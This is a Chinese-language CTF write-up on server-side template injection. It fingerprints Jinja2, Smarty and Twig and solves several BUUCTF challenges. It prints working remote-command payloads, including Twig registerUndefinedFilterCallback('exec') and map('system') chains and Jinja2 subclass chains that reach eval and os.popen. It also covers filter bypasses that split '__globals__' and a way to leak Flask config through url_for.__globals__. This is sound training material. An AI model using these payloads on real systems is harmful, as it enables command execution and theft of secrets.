前言 :我觉得做题目还是得要深度,先把广度刷上来到后面发现做一定难度的题目会是一头雾水,【就比如我这样....】,因此这个模块也是对SSTI专题的一个汇总。如果是第一次学SSTI的师傅请移步ctfshowweb361--一道题从0入门SSTI模板注入,本专题从该基础上展开,下面几个表格是用来判断模板:
第一步:基础数学运算测试(最直接)
发送不同的数学表达式,观察返回结果:
| 测试Payload | Python Jinja2 | PHP Smarty | PHP Twig |
|---|---|---|---|
{``{7*7}} |
49 |
49 |
49 |
{``{7*'7'}} |
7777777(字符串重复) |
49(自动类型转换) |
49(自动类型转换) |
{``{7+7}} |
14 |
14 |
14 |
{``{7+'7'}} |
报错(类型错误) | 14(PHP自动转换) |
14(Twig也会自动转换) |
第二步:函数/方法调用测试(最实用)
这是区分Python和PHP的黄金标准:
| 测试Payload | Python Jinja2 | PHP Smarty | PHP Twig |
|---|---|---|---|
{``{system('ls')}} |
报错(找不到system) | 执行命令 | 报错(除非开启了特殊选项) |
{``{phpinfo()}} |
报错 | 执行 | 可能报错 |
{``{self.__class__}} |
返回类信息 | 报错/乱码 | 报错 |
{``{_self.env}} |
报错 | 返回环境信息(Smarty特有) | 可能返回 |
第三步:特殊语法测试
Python Jinja2 特有:
{{ [].__class__.__bases__ }} {# 返回元组,如 (<class 'object'>,) #} {{ ''.__class__.__mro__ }} {# 返回继承链 #} {{ lipsum.__globals__ }} {# lipsum是Jinja2内置函数 #}
PHP Smarty 特有:
{$smarty.version} {# 返回Smarty版本 #} {php}phpinfo();{/php} {# 旧版本Smarty支持 #} {$_SERVER.DOCUMENT_ROOT} {# 访问PHP全局变量 #}
PHP Twig 特有:
{{ _self }} {# 返回当前模板名称 #} {{ _vars }} {# 返回所有变量 #} {{ _context }} {# 返回上下文 #} {{ dump(_context) }} {# dump函数输出调试信息 #}
Python Flask / Jinja2 类型
这是最常见的一类,特点是使用 {``{ ... }} 作为表达式包裹符,需要通过对象继承关系链(__class__、__bases__、__subclasses__)去寻找可利用的类和方法。
[BJDCTF2020]Cookie is so stable
来源:BUUCTF
题目描述跟cookie有关,然后在flag.php中输入的值作为cookie传入,但是刚开始的时候没找到什么利用点,扫目录啥的也没什么结果,看了wp之后才发现是SSTI(看来以后输入框啥都要试一试),这里是抓包后的画面:

刚开始的时候改的是username发现没啥用,然后因为题目描述说cookie,那么就尝试一下换到cookie中去:

可以看到cookie中为user时界面有回显,那么就是模板的判断,这里可以参考我之前写的文章


因此这里为twig模板,下面讲一下twig的常用调用链以及相关概念:
-
获取当前模板上下文 :使用**
{``{_self}}**可以显示当前模板自身的信息,有时能从中发现一些有用的线索 。 -
获取环境变量 :可以通过**
{``{_self.env}}**来访问Twig的环境对象,它包含了模板引擎的配置信息 。
虽然这里输入了之后没啥反应...
经典利用链:_self.env 方法(适用于Twig 1.x)
这是早期版本Twig中最经典的攻击手法,原理是利用**registerUndefinedFilterCallback** 注册一个危险函数(如**system** 或**exec**)来处理未定义的过滤器,然后在调用这个过滤器时执行命令 。
这个Payload需要分两步(或在一行内)执行:
-
第一步 :注册一个回调函数。例如**
{``{_self.env.registerUndefinedFilterCallback("exec")}}** ,这会将PHP的exec函数注册为处理未定义过滤器的回调函数 。 -
第二步 :调用一个不存在的过滤器,触发刚才注册的回调。例如**
{``{_self.env.getFilter("whoami")}}** ,这时就会执行**exec("whoami")**命令 。
在CTF题目中,这两个Payload经常被拼接在一起提交,如:
{``{_self.env.registerUndefinedFilterCallback("exec")}}{``{_self.env.getFilter("cat /flag")}}。
这里用经典利用链就能直接出来,然后再讲一下现在利用链:
现代利用链:利用过滤器(适用于Twig 2.x / 3.x)
在较新的Twig版本中(包括1.x的后期版本),引入了map、filter、sort等强大的过滤器。这些过滤器可以接受一个回调函数作为参数,从而提供了新的攻击面 。
我们可以将函数名(字符串)作为回调函数传递给这些过滤器,从而执行命令。这种方式非常直接,也是当前最常用的Payload之一 。
map过滤器 :{``{["id"]|map("system")|join}}
将 system 函数应用到数组的每个元素上,执行 id 命令。join 用于将结果合并输出
sort过滤器 :{``{["id", 0]|sort("system")|join}}
sort 需要两个元素才能排序,所以数组里至少要两个值 。
filter过滤器 :{``{["id"]|filter("system")|join}}
filter 本意是过滤数组,但传入函数名作为回调时,同样可以执行命令
- {{[0, 0]|reduce("system", "id")|join}}
reduce 接受一个初始值,这里把 id 作为初始参数传给 system
如果
system函数被禁用,可以尝试替换为passthru、exec、shell_exec等其他执行命令的函数
但是这里不行,而且输入{{显示你要干啥,有点奇怪,望知道的师傅能解答。
[BJDCTF 2nd]fake google
来源:BUUCTF
直接给了一个输入框,测试了一下是jinja2:

这里就是最基础的SSTI题目,具体就不展开了,直接放flag,注意得加个+,要不然直接空格是400:

[WesternCTF2018]shrine
来源:BUUCTF
题目直接给出了代码:
python
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这里我们首先要找一下注入点在哪里,关键在这两行:
python
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# ... 处理函数 ...
return flask.render_template_string(safe_jinja(shrine))
1. 路由装饰器 @app.route('/shrine/<path:shrine>') 的作用
-
@app.route()是 Flask 用来定义 URL 路由的装饰器。它告诉 Flask:当用户访问http://网站/shrine/xxx这个路径时,就调用下面这个shrine(shrine)函数来处理。 -
/shrine/:这是固定的前缀路径。 -
<path:shrine>:这是 Flask 的变量规则。它表示/shrine/后面所有的内容 都会被捕获,并作为参数 传递给函数shrine(shrine)。其中path是一个转换器,意味着它可以匹配包含斜杠/的字符串(比如/shrine/a/b/c会把 'a/b/c'传进去)。
2. 函数内部的逻辑
-
函数
shrine(shrine)接收到的参数shrine,就是URL 中**/shrine/** 后面的那部分字符串。 -
这个字符串会被传入
safe_jinja(shrine)进行过滤处理,然后直接交给render_template_string()渲染成模板。
然后再看我们flag的位置在哪里:
python
app.config['FLAG'] = os.environ.pop('FLAG')
Flag 被存储在 Flask 应用的 config 字典中。正常情况下,在 Jinja2 模板里可以直接用 {``{ config }} 或 {``{ self.__dict__ }} 看到它。
但题目把路堵死了:
-
blacklist = ['config', 'self']:直接将这两个变量名在模板渲染前替换为None。 -
s.replace('(', '').replace(')', ''):过滤了括号(),这意味着我们无法直接调用函数 (例如__class__、__bases__这种属性访问虽然不带括号,但很多利用链最终需要调用popen()或__subclasses__()这种带括号的方法才行)。
关键突破点:Jinja2 的内置全局函数
虽然不能直接调用 config 和 self,但 Jinja2 模板引擎在渲染时,默认会向模板空间注入一些全局函数 。这些函数本身也是对象,我们可以通过它们作为跳板,反向寻找包含 config 的 Flask 上下文。
核心的两个跳板是:
-
url_for:Flask 的 URL 构建函数。 -
get_flashed_messages:Flask 的闪现消息函数。
这些函数在模板中默认可用,且它们内部保存着对当前 Flask 应用上下文(app)的引用。
利用链推导:从全局函数到配置
我们可以通过 __globals__ 属性(返回函数所在全局作用域内的所有变量)来"回溯"。
第一步:查看 url_for 的全局变量
python
/shrine/{{ url_for.__globals__ }}
//这会返回一个巨大的字典,里面包含了 url_for 函数所能访问的所有全局变量。

第二步:在全局变量中找到 current_app
在 Flask 中,url_for 的实现依赖于当前的应用上下文。所以它的 __globals__ 字典里通常会有一个键叫做 current_app,指向当前运行的 Flask 应用实例。
python
/shrine/{{ url_for.__globals__['current_app'] }}

第三步:通过 current_app 获取配置
Flask 应用实例 current_app 有一个 config 属性,里面存储的就是我们想要的配置信息。
python
/shrine/{{url_for.__globals__['current_app'].config}}
//这样就能直接拿到flag

然后这里会有一个问题就是为什么过滤了 config 却还能用,我们再回到safe_jinja 函数:
python
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
它是在拼接字符串 ,先拼接了 {% set config=None %} 和 {% set self=None %},然后才拼接我们输入的 s。
也就是说,它只是在模板开头重新定义(覆盖)了 config 这个变量 。而 url_for.__globals__['current_app'].config 这种写法,是通过属性链 访问到的 config,它不是直接使用 config 这个变量名 。因此,{% set config=None %} 这种设置根本影响不到 current_app.config
关键区别:变量名 vs 属性名
这里的关键是区分两个概念:
-
变量名 :直接使用的标识符,比如
config -
属性名 :通过点号
.或['...']访问的对象属性,比如something.config
想象你有一个朋友叫"李明",他是你们班的班长,大家都叫他"班长"。
现在假设:
-
config变量 = "班长"这个称呼 -
current_app.config= "李明"这个人本身的班长身份
题目做的操作是:规定在教室里不能叫"班长"这个称呼 (相当于 {% set config=None %})。
但这不影响李明本身仍然是班长!如果我们通过其他方式找到"李明"这个人,问他"你是不是班长?",他仍然是。
在我们的 Payload 中:
-
url_for.__globals__['current_app']= 找到"李明"这个人(Flask 应用实例) -
.config= 问他"你是不是班长?"(访问他的班长属性)
这个属性访问根本不需要使用"班长"这个称呼,所以禁令完全无效
[CSCCTF 2019 Qual]FlaskLight
打开靶机看着就跟模板注入有关,然后源代码里面也有相应提示:

测了一下是jinja2:

然后这里面搜了一下是没有os模块的:

那么就可以用warning catch warnings去导入,找了一下在59位,但是正常输入的话一直报500,后面测试了一下应该是global被过滤了,拼接一下就行:
python
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

然后这里读取的是根目录的:
python
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
//注意读取路径
?search={{''.__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac /flasklight/coomme_geeeett_youur_flek').read()")}}
?search={{config.__class__.__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('tac /flasklight/coomme_geeeett_youur_flek').read()}}

PHP Smarty 类型
Smarty是PHP的模板引擎,其语法标志是 { ... }。利用方式与Python引擎完全不同,通常是在{}内直接调用PHP函数或利用Smarty内置方法
[BJDCTF2020]The mystery of ip
来源:BUUCTF
给了个flag.php和hint.php,flag那边显示的是ip,然后查看hint.php的源代码可以看到这么一行:

这个的话可能就跟请求头相关,一般用到最多的是X-Forward-For 【更详细请见HTTP 请求头中包含的 IP 地址相关信息 】,那么我们尝试一下:

可以看到确实是修改成功的,那么我们尝试进行注入:

最终确认是smarty:

直接执行命令即可:
